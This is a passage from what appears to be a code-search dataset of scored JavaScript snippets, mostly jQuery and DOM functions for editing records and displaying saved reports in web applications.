id='edit-location' name='location' value =\"${data.location}\" >\n <label for=\"starting-date\">Starting Date:</label> <input type=\"text\" id=\"edit-datepicker-start\" class=\"edit-start-dates\" value=\"${data.startDates}\" ></p>\n <label>Ending Date:</label> <input type=\"text\" id=\"edit-datepicker-end\" class=\"edit-end-dates\" value =\"${data.endDates}\" ></p>\n <label for='edit-description'>Journal Entry:</label>\n <textarea class='edit-journal-text' id=\"edit-description\" rows=\"10\" cols=\"40\">${data.description}</textarea>\n <button role='button' type='submit' class='journal-edit-btn'>Submit</button>\n </fieldset>\n </form>`\n );\n}", "title": "" }, { "docid": "9878c1a0ce3171070e5eaee8b44406ec", "score": "0.5625218", "text": "function showReportInfo(id) {\n\t$.get({\n\t\turl: \"app/builder/report.cfc?method=getreportInfo&id=\" + id, \n\t\tsuccess: function(result) {\n\t\t\t$(\"#reportInfoModalBody\").html(result);\n\t\t}\n\t});\n\t$('#reportInfoModal').modal()\n}", "title": "" }, { "docid": "926abf191b8b3c033185c169be495f19", "score": "0.5602773", "text": "function show_report(reportId){\n\t$('#report_chart_container').html('');\n\t$('#report_id').html('');\n\t$('#next_report').hide();\n\t$('#previous_report').hide();\n\t//$('#report_chart_box').hide();\n\t$('#console_box').hide();\n\t$('#input_experiment_settings_box').hide();\n\t$('#personal_notes_box').hide();\n\t$('#c_led_info').hide();\n\t$('#c_lamp_info').hide();\n\t$('#c_fan_info').hide();\n\t$('.settings_button').hide();\n\t$('.csv_button').hide();\n\t$('.xml_button').hide();\n\t$('.json_button').hide();\n\t\n\t\n\t$('#report_chart_box').slideDown(function(){\n\t\t$('#chart_ajax_loader').hide();\t\t\t\t\t\t\t\t\t\t \n\t\t$('.dashboard_overlay').show();\n\t\t$.post(ROOT_PATH + \"includes/modules/report/ajax.php\",{\"showReport\":1,\"reportId\":reportId}, function(data){\n\t\t\t$('.settings_button').show();\n\t\t\t$('.csv_button').show();\n\t\t\t$('.xml_button').show();\n\t\t\t$('.json_button').show();\n\t\t\t\n\t\t\t$('#report_id').html(data.reportId);\n\t\t\t$('#console_box .box-content').html(data.console);\n\t\t\t$('#regulator_settings').html(data.regulator_settings);\n\t\t\t$('#regulator').html(data.regulator);\n\t\t\t$('#equipment_name').html(data.equipment_name);\n\t\t\t$('#report_date').html(data.report_date);\n\t\t\t$('input[name=\"reportId\"]').val(reportId);\n\t\t\t$('#report_time').html(data.report_simulation_time);\n\t\t\t$('#report_input_value').html(data.experiment_settings.input);\n\t\t\t$('#ts').html(data.experiment_settings.ts);\n\t\t\t$('#out_value').html(data.experiment_settings.out_value);\n\t\t\t$('#in_value').html(data.experiment_settings.in_value);\n\t\t\tif(data.notes != '')\n\t\t\t\t$('#personal_notes_box textarea').val(data.notes);\n\t\t\telse\n\t\t\t\t$('#personal_notes_box textarea').val(personalNotesDefaultValue);\t\n\t\t\t\n\t\t\tif(data.nextReport && reportId != data.nextReport ){\n\t\t\t\t$('#next_report').attr('rel',data.nextReport);\n\t\t\t\t$('#next_report').css('display','inline-block');\n\t\t\t}\n\t\t\t\n\t\t\tif(data.previousReport && reportId != data.previousReport ){\n\t\t\t\t$('#previous_report').attr('rel',data.previousReport);\n\t\t\t\t$('#previous_report').css('display','inline-block');\n\t\t\t}\n\t\t\t\n\t\t\t//-------------- KONZOLA VYSTUP ----------------\n\t\t\tif(data.box_settings.console_box == 1){\n\t\t\t\t$('#console_box').show();\n\t\t\t}\n\t\t\t\n\t\t\t//-------VSTUPNE NASTAVENIA EXPERIMENTU BOX -----\n\t\t\tif(data.box_settings.input_experiment_settings_box == 1){\n\t\t\t\t$('#input_experiment_settings_box').show();\n\t\t\t}\n\t\t\t\n\t\t\t//----------------OSOBNE POZNAMKY-------------\n\t\t\tif(data.box_settings.personal_notes_box == 1){\n\t\t\t\t$('#personal_notes_box').show();\n\t\t\t}\n\t\t\t\n\t\t\tif(data.experiment_settings.c_lamp){\n\t\t\t\t$('#c_lamp').html(data.experiment_settings.c_lamp);\n\t\t\t\t$('#c_lamp_info').show();\n\t\t\t}\n\t\t\tif(data.experiment_settings.c_fan){\n\t\t\t\t$('#c_fan').html(data.experiment_settings.c_fan);\n\t\t\t\t$('#c_fan_info').show();\n\t\t\t}\n\t\t\tif(data.experiment_settings.c_led){\n\t\t\t\t$('#c_led').html(data.experiment_settings.c_led);\n\t\t\t\t$('#c_led_info').show();\n\t\t\t}\n\t\t\t\n\t\t\t$('.dashboard_overlay').hide();\n\t\t\trenderReportChart(data.chartData);\n\t\t},\"json\");\n\t});\n}", "title": "" }, { "docid": "9fedf06f905abca5cb111d970df09f15", "score": "0.5586565", "text": "function displayExistingReport(folderId, reportId, reportType){\r\n\t\t\r\n\t\t\t// set the other content centers to empty.\r\n\t\t\t\r\n\t\t\tdocument.getElementById(\"contentCenter\").style.display = 'block';\r\n\t\t\t\r\n\t\t\tdocument.getElementById(\"contentCenterB\").style.display = \"none\";\r\n\t\t\tdocument.getElementById(\"contentCenterC\").style.display = \"none\";\r\n\t\t\tdocument.getElementById(\"contentCenterD\").style.display = \"none\";\r\n\r\n\r\n\t\t\tdocument.getElementById(\"contentCenterE\").style.display = 'block';\r\n\t\t\tdocument.getElementById(\"contentCenterF\").style.display = 'block';\r\n\t\t\t// lets display the right tabs.\r\n\t\t\t// lets implement the tabbed look & feel of menu items.\r\n\t\t\t//var focusTab = \"url(/GloreeJava2/images/focusTab.png)\";\r\n\t\t\t//var nonFocusTab = \"url(/GloreeJava2/images/nonFocusTab.png)\"; \r\n\t\t\t// the clicked item is set to gray, and the rest are set to the yellow color.\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t// ContentCenter E and F are the targets. E will hold the filter\r\n\t\t\t// F will hold the actual data. So lets put the working gif in both.\r\n\t\t\tdocument.getElementById(\"contentCenterE\").innerHTML= \"&nbsp;&nbsp;&nbsp;Working...\";\t\r\n\t\t\tdocument.getElementById(\"contentCenterF\").innerHTML= \"&nbsp;&nbsp;&nbsp;Working...\";\r\n\t\t\t\r\n\r\n\t\t\t// Now display the Report.\r\n\t\t\t// since we want to fill the report definition into the filter boxes\r\n\t\t\t// and execute the report, we will make an synch call.\r\n\r\n\t\t\t\r\n\t\t\t\r\n\t\t\tvar url = \"/GloreeJava2/servlet/ReportAction?folderId=\" + encodeURIComponent(folderId);\r\n\t\t\turl += \"&action=\" + encodeURIComponent(\"displayExistingReport\");\r\n\t\t\turl += \"&reportId=\" + encodeURIComponent(reportId);\r\n\t\t\turl += \"&bustcache=\" + new Date().getTime() ;\r\n\t\t\t\r\n\t\t\t\r\n\t\t\txmlHttpOPCenterE =GetXmlHttpObject();\r\n\t\t\txmlHttpOPCenterE.onreadystatechange=function() {\r\n\t\t\t\tif(xmlHttpOPCenterE.readyState==4){\r\n\t\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\tdocument.getElementById(\"contentCenterE\").style.display = 'block';\r\n\t\t\t\t\tdocument.getElementById(\"contentCenterE\").innerHTML=xmlHttpOPCenterE.responseText;\r\n\t\t\t\t\t// now that we have filled up the filters, lets call the run\r\n\t\t\t\t\t// report method.\r\n\t\t\t\t\treportAction(folderId,'runReport', reportType);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\txmlHttpOPCenterE.open(\"GET\",url,true);\r\n\t\t\txmlHttpOPCenterE.send(null);\r\n\r\n\t}", "title": "" }, { "docid": "036ed1994d5b14813e90c7442fc1dd9f", "score": "0.558563", "text": "function buttonEdit () {\n\n\t\t\t\t// Ordered Item\n\t\t\t\tprojects.orderedItemCheck(bookId,function(){\n\n\t\t\t\t\t// No button\n\t\t\t\t\tbutton.edit.compiled = smallButtonDisabled('edit');\n\n\t\t\t\t// Not an Ordered item\n\t\t\t\t},function(){\n\n\t\t\t\t\t// Cart item\n\t\t\t\t\tprojects.cartItemCheck(bookId,function(){\n\n\t\t\t\t\t\tbutton.edit.path.compiled = base.ee + button.edit.path.depreciated.edit + book.theme_id + '/' + bookId;\n\t\t\t\t\t\tbutton.edit.onclick = 'toolbox.topLoc(\\'' + button.edit.path.compiled + '\\')';\n\n\t\t\t\t\t\tprojects.projectVersionCheck(book.entry_id,function(){\n\t\t\t\t\t\t\n\t\t\t\t\t\t// v.0.3\n\t\t\t\t\t\t},function(){\n\n\t\t\t\t\t\t\tbutton.edit.onclick = 'projects.editProject(\\'' + bookId + '\\')';\n\t\t\t\t\t\t\tpreview.onclick = button.edit.onclick;\n\n\t\t\t\t\t\t});\n\n\t\t\t\t\t// Not a cart item\n\t\t\t\t\t},function(){\n\n\t\t\t\t\t\tbutton.edit.path.compiled = base.ee + button.edit.path.depreciated.open + book.theme_id + '/' + bookId;\n\t\t\t\t\t\tbutton.edit.onclick = 'toolbox.topLoc(\\'' + button.edit.path.compiled + '\\')';\n\n\t\t\t\t\t\tprojects.projectVersionCheck(book.entry_id,function(){\n\n\t\t\t\t\t\t// v.0.3\n\t\t\t\t\t\t},function(){\n\n\t\t\t\t\t\t\tbutton.edit.onclick = 'projects.openProject(\\'' + bookId + '\\')';\n\n\t\t\t\t\t\t});\n\n\t\t\t\t\t});\n\n\t\t\t\t\tbutton.edit.compiled = smallButtonPrep('edit',button.edit.onclick);\n\n\t\t\t\t});\n\t\t\t}", "title": "" }, { "docid": "82fa69bba4dde6c4f25a5e7fdd6f6daf", "score": "0.5583283", "text": "function runSavedReport(id) {\n\t//get report query and options\n\t$.get({\n\t\turl: \"app/builder/report.cfc?method=getreportQuery&id=\" + id, \n\t\tasync: false,\n\t\tsuccess: function(result) {\n\t\t\t$(\"#query_string\").val(result);\n\t\t}\n\t});\n\t$.get({\n\t\turl: \"app/builder/report.cfc?method=getreportType&id=\" + id, \n\t\tasync: false,\n\t\tsuccess: function(result) {\n\t\t\t$(\"#report_type_string\").val(result);\n\t\t}\n\t});\n\t$(\"#report_id\").val(id);\n\n\t$(\"#form\").submit();\n\t\n}", "title": "" }, { "docid": "e920bdd026b35c12f0b4b2e084f14923", "score": "0.5557519", "text": "function edit(edit_id) {\n open_form(APP_STATE.current_function, 'UPDATE', edit_id);\n}", "title": "" }, { "docid": "74a78addd03088ab447f1b5af08f69fe", "score": "0.55371493", "text": "function refreshReport(){\n\tvar objPanel = View.panels.get('formFilter');\n\tvar crtFilterSettings = readFilter();\n\tvar displayVAT = {\n\t\t\ttype: '',\n\t\t\tisHidden: false\n\t\t};\n\tvar displayCurrency = {\n\t\t\ttype: '',\n\t\t\tcode: '',\n\t\t\texchangeRateType: ''\n\t\t};\n\t\n\tif(valueExists(objPanel.displayVAT)){\n\t\tdisplayVAT = copyObject(objPanel.displayVAT);\n\t}\n\tif(valueExists(objPanel.displayCurrency)){\n\t\tdisplayCurrency = copyObject(objPanel.displayCurrency);\n\t}\n\t\n\tif(crtFilterSettings){\n\t\tonRefreshReport(crtFilterSettings, printableRestriction, displayVAT, displayCurrency);\n\t}\n\t\n}", "title": "" }, { "docid": "0cc36ab561511c2929129763078084a8", "score": "0.5533323", "text": "function SavedReportsView(params){\n\treturn new jGrid($.extend(params, {\n\t\tpaintParams: {\n\t\t\tcss: \"saved-reports\",\n\t\t\ttoolbar: {theme: \"svg\"}\n\t\t},\n\t\teditForm: function(id, container, dialog) {\n\t\t\tSavedReportEdit({\n\t\t\t\tid: id,\n\t\t\t\treportTypeId: params.reportTypeId,\n\t\t\t\tcontainer: container,\n\t\t\t\tdialog: dialog\n\t\t\t})\n\t\t},\n\t\tinit: function(grid, callback) {\t\t\t\n\t\t\tgrid.Events.OnInit.add(function(grid) {\n\t\t\t\tgrid.optionsData.url = \"engine/sys-saved-reports\";\n\t\t\t\t\n\t\t\t\tgrid.options.horzScroll = false;\n\t\t\t\tgrid.options.allowSort = true;\n\t\t\t\tgrid.options.editNewPage = false;\n\t\t\t\tgrid.options.showPager = false;\n\t\t\t\t\n\t\t\t\tgrid.search.visible = true;\n\t\t\t\tgrid.search.mode = \"simple\";\n\t\t\t\tgrid.search.columnName = \"name\";\n\t\t\t\t\n\t\t\t\tgrid.exportData.allow = false;\n\t\t\t\t\n\t\t\t\tgrid.Events.OnInitDataRequest.add(function(grid, dataParams) {\n\t\t\t\t\tdataParams\n\t\t\t\t\t\t.addColumn(\"report_type_id\", params.reportTypeId, {numeric:true})\n\t\t\t\t\t\t.addColumn(\"sort\", \"name\")\n\t\t\t\t\t\t.addColumn(\"order\", \"asc\")\n\t\t\t\t\t\t.addColumn(\"name\", \"\")\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\tgrid.Events.OnInitData.add(function(grid, data) {\n\t\t\t\t\tdata.Columns\n\t\t\t\t\t\t.setprops(\"id\", {label:\"ID\", numeric:true, key:true})\n\t\t\t\t\t\t.setprops(\"name\", {label:\"Name\"})\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\tgrid.Methods.add(\"deleteConfirm\", function(grid, id) {\n\t\t\t\t\treturn {title: \"Delete Saved Report\", message: (\"Please confirm to delete saved report <b>{0}</b>.\").format(grid.dataset.get(\"name\"))};\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\tgrid.methods.add(\"getCommandIcon\", function(grid, column, previous) {\n\t\t\t\t\tif(column.command === \"run\")\n\t\t\t\t\t\treturn \"run-report\"\n\t\t\t\t\telse\n\t\t\t\t\t\treturn previous;\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\tgrid.methods.add(\"getCommandHint\", function(grid, column, previous) {\n\t\t\t\t\tif(column.command === \"run\")\n\t\t\t\t\t\treturn \"Run Report\"\n\t\t\t\t\telse\n\t\t\t\t\t\treturn previous\n\t\t\t\t\t\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\t// grid.methods.add(\"getCommandUrl\", function(grid, column, previous) {\n\t\t\t\t\t// if(column.command === \"run\")\n\t\t\t\t\t\t// return __report(grid.dataset.get(\"id\"), true)\n\t\t\t\t\t// else\n\t\t\t\t\t\t// return previous\n\t\t\t\t\t\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\tgrid.Events.OnCommand.add(function(grid, column) {\n\t\t\t\t\tif(column.command === \"run\") {\n\t\t\t\t\t\t__report(grid.dataset.get(\"id\"));\n\t\t\t\t\t};\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\tgrid.Events.OnInitColumns.add(function(grid) {\n\t\t\t\t\t// grid.NewColumn({fname: \"id\", width: 50, allowSort: true, fixedWidth:true});\n\t\t\t\t\tgrid.NewBand({caption:\"\", fixed:\"left\"}, function(band) {\n\t\t\t\t\t\tband.NewCommand({command:\"run\"});\n\t\t\t\t\t});\n\t\t\t\t\tgrid.NewColumn({fname: \"name\", width: 300, fixedWidth:true});\n\t\t\t\t});\n\t\t\t});\n\t\t}\n\t}));\n}", "title": "" }, { "docid": "d064138f1cadafb2c10e754da45bac58", "score": "0.5524127", "text": "function loadEmployee() \n{\n // CSS magic on the buttons.\n document.getElementById(\"editButton\").innerHTML = '<button type=\"button\" onclick=\"employeeEdit();\">EDIT</button>'; \n document.getElementById(\"editButton\").style.visibility = \"visible\"; \n document.getElementById(\"submitButton\").style.visibility = \"hidden\"; \n \n // Find which employee the user selected.\n getEmp();\n \n // Execute SQL query\n employeeSelect(empId);\n \n // Debugging...\n // document.getElementById(\"debug\").innerHTML = \"You selected: \" + empId;\n\n}", "title": "" }, { "docid": "92f990e442debdae38ef943f9449e4c4", "score": "0.5518691", "text": "function displayUpdate(response, taskObj) {\n\tresponse.writeHead(200, {'Content-Type': 'text/html'});\n\n\tpage1 = new StandardPage();\n\tpage1.setTitle(\"Update Task\");\n\t\n\tpage1.setContent(\"Id: \" + taskObj.getId() + \"<br /><br />\");\n\tpage1.addContent(\"User: \" + taskObj.getUser() + \"<br /><br />\");\n\tpage1.addContent(\"Date: \" + taskObj.getDate() + \"<br /><br />\");\n\t\n\tpage1.addContent(\n\t\t\"<form method=get action='update.js'>\"+\n\t\t\t\n\t\t\t\"<input type='hidden' name='id' value='\"+taskObj.getId()+\"'>\"+\n\t\t\t\n\t\t\t\"Name: \"+\n\t\t\t\"<input type='text' name='name' onclick='this.select()' value='\"+taskObj.getTaskName()+\"'><br /><br />\"+\n\t\t\t\n\t\t\t\"Status: \"+\n\t\t\t\"<input type='text' name='status' onclick='this.select()' value='\"+taskObj.getStatus()+\"'><br /><br />\"+\n\t\t\t\n\t\t\t\"Description:<br />\"+\n\t\t\t\"<textarea name='description' onclick='this.select()' rows='10' cols='85'>\"+taskObj.getDescription()+\"</textarea><br /><br />\"+\n\t\t\t\n\t\t\t\"Priority:\"+\n\t\t\t\"<input type='radio' name='level' value='low'\"+checkPriority(taskObj,'low')+\">Low \"+\n\t\t\t\"<input type='radio' name='level' value='medium'\"+checkPriority(taskObj,'medium')+\">Medium \"+\n\t\t\t\"<input type='radio' name='level' value='high'\"+checkPriority(taskObj,'high')+\">High <br /><br />\"+\n\t\t\t\n\t\t\t\"<input type='submit' name='changes' value='Submit Changes'>\"+\n\t\t\t\"<input type='button' name='' value='Change Estimate Values' onclick='parent.location=\\'/\\''>\"+\n\t\t\t\"<input type='button' value='Reset' onclick='history.go(0)'>\"+\n\t\t\t\"<input type='button' value='Go Back' onclick='history.go(-1);return true;'>\"+\n\n\t\t\"</form>\"\n\t);\n\t\n\tpage1.addContent(\n\t\t\"<form method=post name=upform action='fileUpload/uploadFile.js' enctype='multipart/form-data'>\"+\n\t\t\t\"Attachment:\"+\n \"<input type='hidden' name='MAX_FILE_SIZE' value='500' />\"+\n \"<input type=file name=uploadfile>\"+\n\t\t\t\"<br />\"+\n\t\t\t\n\t\t\t\"<input type='button' name='Submit' value='Upload Attachment' onclick='LimitAttach(this.form, this.form.uploadfile.value)'>\"+\n\t\t\"</form>\"\n\t);\n\t\n\tpage1.standardMenus();\n\t\n\tresponse.write(page1.toHTML());\n\tresponse.end();\n}", "title": "" }, { "docid": "c39611e386fe039c12fe917b0b8349db", "score": "0.5515395", "text": "function setEditButton() {\n document.getElementById('btneditartifact').setAttribute(\n \"href\", \"artifact_editor.html?workspace=\" + (new URL(location.href).searchParams.get('workspace')) +\n \"&artifact=\" + (new URL(location.href).searchParams.get('artifact')) +\n \"&javafile=\" + (new URL(location.href).searchParams.get('javafile'))\n );\n}", "title": "" }, { "docid": "8cced55ef8a53f32724f75ff437ae14f", "score": "0.5510093", "text": "function _showSubmitOverview()\r\n{\r\n \tProcess.execute(\"view\", \"labdipoverview.do\");\r\n }", "title": "" }, { "docid": "a8b1f88b287f975a10a1fa1299f91e4e", "score": "0.5508117", "text": "function printPage(id,title)\r\n{\r\n\tdocument.getElementById('report_title').value = title;\r\n\tdocument.getElementById('print_preview').value = document.getElementById(id).innerHTML;\r\n\tdocument.getElementById('form_preview').submit();\r\n}", "title": "" }, { "docid": "3a29022efec50de27ab3af97c0e8d498", "score": "0.54900616", "text": "function linkToReportWizard(){\n\tclearQueryData();\n\tshowAnalyticsSection(['wizard_container']);\n}", "title": "" }, { "docid": "a33e45dcc2c1d2953917c667fb02b37f", "score": "0.54899585", "text": "function showUpdate(buttonElement) {\n // Load background API image.\n unsplash_API_images();\n // Table and form.\n document.getElementById('patientTable').style.display = \"none\"\n document.getElementById('createUpdateForm').style.display = \"block\"\n document.getElementById('divForTable').style.display = \"none\"\n // Labels.\n document.getElementById('createLabel').style.display = \"none\"\n document.getElementById('updateLabel').style.display = \"inline\"\n // Buttons.\n document.getElementById('showCreateButton').style.display = \"none\"\n document.getElementById('doCreateButton').style.display = \"none\"\n document.getElementById('doUpdateButton').style.display = \"inline\"\n document.getElementById('goBackButton').style.display = \"inline\"\n // Populating form with patient information.\n var rowElement = buttonElement.parentNode.parentNode\n var patient = getPatientFromRow(rowElement)\n populateFormWithPatient(patient)\n}", "title": "" }, { "docid": "ce6ff30a242095d5c16e59636ff2a38e", "score": "0.5484268", "text": "static editLink(editBtn) {\n const url = editBtn.parentElement.parentElement.firstElementChild;\n const linkID = url.dataset.id;\n const editField = editBtn.parentElement.previousElementSibling;\n\n if (editBtn.classList.contains('edit')) {\n url.style.display = 'none';\n editBtn.innerText = 'Submit';\n editBtn.className = 'submit';\n editField.style.display = 'inline-block';\n editField.value = url.innerText;\n } else if (editBtn.classList.contains('submit')) {\n editBtn.className = 'edit';\n url.style.display = 'inline-block';\n url.innerText = editField.value;\n editBtn.innerText = 'Edit';\n editField.style.display = 'none';\n\n Store.editLink(linkID, editField.value);\n }\n }", "title": "" }, { "docid": "b82ec5d2efb1622de3c4939ce5cbfb1e", "score": "0.54768777", "text": "saveClick() {\n console.log('>>>>>saveClick>>>>>>>>',this.fields);\n this.template.querySelector('lightning-record-edit-form').submit(this.fields);\n this.isEdit = false;\n \n }", "title": "" }, { "docid": "8b9f2229666428f6052c8592c87aa5d7", "score": "0.5464867", "text": "function populateReport(reportID, tags, tagColors, reportInfo) {\n var productInfo = generateProductInfo(reportInfo, tags); // Generate ProductInfo\n // Fills in the modal with productInfo\n for (i = 0; i < reportFields.length; i++) {\n // For all entries in reportFields\n const field = reportFields[i];\n const targetTag = document.getElementById(field);\n targetTag.innerHTML = productInfo[field];\n }\n\n // Edit the color of the tag\n const tag = document.getElementById(\"tag\");\n tag.setAttribute(\"style\", \"color:\" + tagColors[productInfo[\"tag\"]]);\n\n // Edit the color of resolvedUnresolved\n if (productInfo[\"resolvedUnresolved\"].includes(\"New\")) {\n // For resolvedUnresolved, gets status. If resolved, green. else, red.\n document.getElementById(\"resolvedUnresolved\").style.color = \"red\";\n } else if (productInfo[\"resolvedUnresolved\"].includes(\"Incomplete\")) {\n document.getElementById(\"resolvedUnresolved\").style.color = \"orange\";\n } else {\n document.getElementById(\"resolvedUnresolved\").style.color =\n \"yellowgreen\";\n }\n\n // Edit the complete/incomplete button + close buttons\n var resolvedButton = document.getElementById(\"reportResolve\");\n if (!!reportInfo[\"completeTS\"]) {\n // Has a completed TS.\n setClose(0);\n // INCOMPLETE button\n resolvedButton.setAttribute(\n \"onclick\",\n \"markIncomplete(\" + reportID + \", \" + webID + \")\"\n );\n resolvedButton.innerHTML = \"Mark Incomplete\";\n resolvedButton.setAttribute(\n \"class\",\n \"btn rounded red reportCompletebtn\"\n );\n } else {\n // Incomplete Report Actions:\n\n // COMPLETE button\n resolvedButton.setAttribute(\n \"onclick\",\n \"markComplete(\" + reportID + \",\" + webID + \")\"\n );\n resolvedButton.innerHTML = \"Mark Complete\";\n resolvedButton.setAttribute(\n \"class\",\n \"btn rounded green reportCompletebtn\"\n );\n\n if (!!reportInfo[\"initialOpenTS\"]) {\n // Was opened before.\n insertNote(reportID, webID, \"{Viewed report}\"); // Note: viewing of report\n setClose(0);\n } else {\n // If it is a new, then it is now incomplete! Set the data in the database. Apply web ID.\n insertTS(1, reportID, webID);\n }\n }\n // Edit Location\n const map = document.getElementById(\"reportMap\");\n map.setAttribute(\n \"src\",\n \"https://www.google.com/maps/embed/v1/place?q=\" +\n reportInfo[\"latitude\"] +\n \",\" +\n reportInfo[\"longitude\"] +\n \"&key=\" +\n aPIKey\n );\n // Edit photo/video\n const photo = document.getElementById(\"reportPhoto\");\n const video = document.getElementById(\"reportVideo\");\n const media = document.getElementById(\"media\");\n if (reportInfo[\"attachments\"]) {\n media.setAttribute(\"style\", \"\");\n map.setAttribute(\"style\", \"\");\n const filename = reportInfo[\"filename\"];\n const extension = filename.split(\".\").pop(); // Split by dots.\n if (imageTypes.includes(extension)) {\n video.removeAttribute(\"src\");\n video.style.display = \"none\";\n photo.setAttribute(\n \"src\",\n \"https://storage.googleapis.com/cruzsafe.appspot.com/\" +\n reportInfo[\"filename\"]\n );\n photo.style.display = \"block\";\n } else {\n photo.removeAttribute(\"src\");\n photo.style.display = \"none\";\n video.setAttribute(\n \"src\",\n \"https://storage.googleapis.com/cruzsafe.appspot.com/\" +\n reportInfo[\"filename\"]\n );\n video.style.display = \"block\";\n }\n } else {\n media.setAttribute(\"style\", \"display:none\");\n map.setAttribute(\"style\", \"width:100%;\");\n video.style.display = \"none\";\n photo.style.display = \"none\";\n }\n // Edit the prewritten responses + button\n displayPrewrittenResponses(reportInfo[\"tag\"]);\n document\n .getElementById(\"respondBtn\")\n .setAttribute(\n \"onClick\",\n \"initializeMessage(\" + reportID + \",\" + webID + \")\"\n );\n // Edit the workorder button and field\n document.getElementById(\"workOrderNum\").value = productInfo[\"orderNumber\"];\n document\n .getElementById(\"workOrderBtn\")\n .setAttribute(\"onClick\", \"assignWorkOrder(\" + reportID + \")\");\n // Edit the whitelist options + button\n document\n .getElementById(\"whitelistBtn\")\n .setAttribute(\"onClick\", \"initializeWhitelist(\" + reportID + \")\");\n // Edit the notes\n displayNotes(reportID);\n const submitNote = document.getElementById(\"submitNote\");\n submitNote.setAttribute(\"onclick\", \"submitNote(\" + reportID + \")\");\n // Edit the forward ptions + button\n displayFacilities();\n document\n .getElementById(\"forwardBtn\")\n .setAttribute(\n \"onClick\",\n \"initializeForward(\" +\n reportID +\n \",\" +\n webID +\n \",'\" +\n productInfo[\"resolvedUnresolved\"] +\n \"')\"\n );\n\n openModal(\"reportModal\");\n}", "title": "" }, { "docid": "6aa544320c8ea40126ee12bb45f9a29d", "score": "0.54580206", "text": "function showExportDetail() {\n $(\"#preview-modal .modal-title\").html(\"Exporting Design\");\n disablePreviewButtons(true);\n $(\"#loader\").show();\n}", "title": "" }, { "docid": "12a917fe34387b170bea8433769bbc29", "score": "0.5456807", "text": "function setEditForm() {\n\t// Retrieve the old values to use\n\tvar old_title = $('#project_title').text();\n\tvar old_body = $('#project_body').text();\n\n\t// Remove old info from being displayed\n\t$('#project_info').remove();\n\n\t// Update the tools in the toolbar\n\t$('#tool_bar').empty();\n\n\t// Show the form with the old values filled in\n\t$('#main_body').append(\n\t\t\t'<form id=\"edit_project\" class=\"flex flex_grow\" method=\"post\" action=\"update_project_info.php\" enctype=\"multipart/form-data\">'\n\t\t\t\t+'<div id=\"upload_project_picture\" class=\"flex_fit\">'\n\t\t\t\t\t+ '<p>File size should not exceed 500 kB.</p>'\n\t\t\t\t\t+'<input type=\"file\" name=\"new_project_picture\" id=\"new_project_picture\" class=\"file_upload\">'\n\t\t\t\t+'</div>'\n\t\t\t\t+'<div class=\"formgroup flex_fit\">'\n\t\t\t\t\t+'<input type=\"text\" id=\"project_entry_title\" class=\"title\" name=\"project_title\" value=\"'+old_title+'\">'\n\t\t\t\t+'</div>'\n\t\t\t\t+'<textarea id=\"project_entry_body\" name=\"project_body\" class=\"flex_grow\">'+old_body+'</textarea>'\n\t\t\t\t+'<input type=\"hidden\" name=\"project_id\" value=\"'+$('#project_id').val()+'\">'\n\t\t\t\t+'<input type=\"submit\" id=\"update_project\" class=\"flex_fit\" value=\"Done\">'\n\t\t\t+'</form>');\n\t// Enable the update action\n\t$('#update_project').on('click', updateProject);\n\n\t// Populate the sidebar with the members queue\n\tfillWithMembersQueue();\n}", "title": "" }, { "docid": "a8c2498708415ac952a0875b6ac6645b", "score": "0.54558265", "text": "function showReport (request, response) {\n var currentTime = new Date();\n var contextData = {\n 'title': 'MGT 656',\n 'tagline': 'AutumnFrog Team.', \n 'time': currentTime\n };\n \n if (request.params.id != undefined) {\n response.render('report' + (request.params.id) + '.html', contextData);\n } else {\n response.render('selectreport.html', contextData);\n }\n}", "title": "" }, { "docid": "9774d3fac58e8fe36a1d34e09997dd37", "score": "0.54437983", "text": "function updateUIOnSubmissionPage() {\n addCloneLinkForSubmissionTo(\n $( '.edit_assignment_submission:eq(0)' ),\n pageData.assignment_submission.id, {\n success_class: \"btn btn-primary btn-sm\",\n fail_class: \"btn btn-info btn-sm\"\n }\n );\n }", "title": "" }, { "docid": "a35e43f512cc4564ca55d6eee49a31a0", "score": "0.54311925", "text": "function performActionOnSelectedSavedReport(){\n}", "title": "" }, { "docid": "7c9132b80faaf0e6c745e1008276bc1f", "score": "0.5415814", "text": "function openReport(reportId) {\n var reportLink = \"../viewReport/?reportId=\" + reportId;\n window.open(reportLink, \"_self\");\n}", "title": "" }, { "docid": "3980769ef10a85a8c4ed8ab03e1e0713", "score": "0.5415359", "text": "function onReport(){\n\tvar controller = View.controllers.get('rentRollCtrl');\n\t/*\n\t * we must remove some field from printable restriction\n\t * for details report\n\t */\n\tvar printableRestriction = getCustomPrintableRestriction(controller.printableRestriction);\n\tvar currencyCode = \"\";\n\tvar exchangeRate = 1;\n\tif(controller.isMcAndVatEnabled){\n\t\tcurrencyCode = controller.displayCurrency.code;\n\t\tif(controller.displayCurrency.type != \"budget\"){\n\t\t\t// KB 3035042 we must use exchange rate type Budget to convert budget costs\n\t\t\t//exchangeRate = \"${sql.exchangeRateFromBudget('\" + controller.displayCurrency.code + \"','\"+ controller.displayCurrency.exchangeRateType +\"')}\";\n\t\t\texchangeRate = \"${sql.exchangeRateFromBudget('\" + controller.displayCurrency.code + \"','Budget')}\";\n\t\t}\n\t}\n\t\n\tvar row = controller.row;\n\tvar isBuilding = valueExistsNotEmpty(row.getFieldValue(\"ls.bl_id\"));\n\tvar reportConfig = {\n\t\ttitle: getMessage('msg_report_title'),\n\t\tfileName: 'ab-repm-lsadmin-rentroll-rpt',\n\t\tcallerView: 'ab-repm-lsadmin-rentroll-report.axvw',\n\t\tdataSource: 'ds_RentRoll_overview_report',\n\t\tdataSourceParameters: controller.parameters,\n\t\tprintableRestriction: printableRestriction,\n\t\tfiles:[]\n\t};\n\tvar restriction = new Ab.view.Restriction();\n\trestriction.addClause('ls.ls_id', row.getFieldValue(\"ls.ls_id\"), '=');\n\tif (isBuilding) {\n\t\trestriction.addClause('bl.bl_id', row.getFieldValue(\"ls.bl_id\"), '=');\n\t\t\n\t\tvar rptFileCfg = new RptFileConfig(\n\t\t\t'ab-repm-lsadmin-rentroll-details-bl-rpt.axvw',\n\t\t\t{permanent: null, temporary: restriction, parameters: 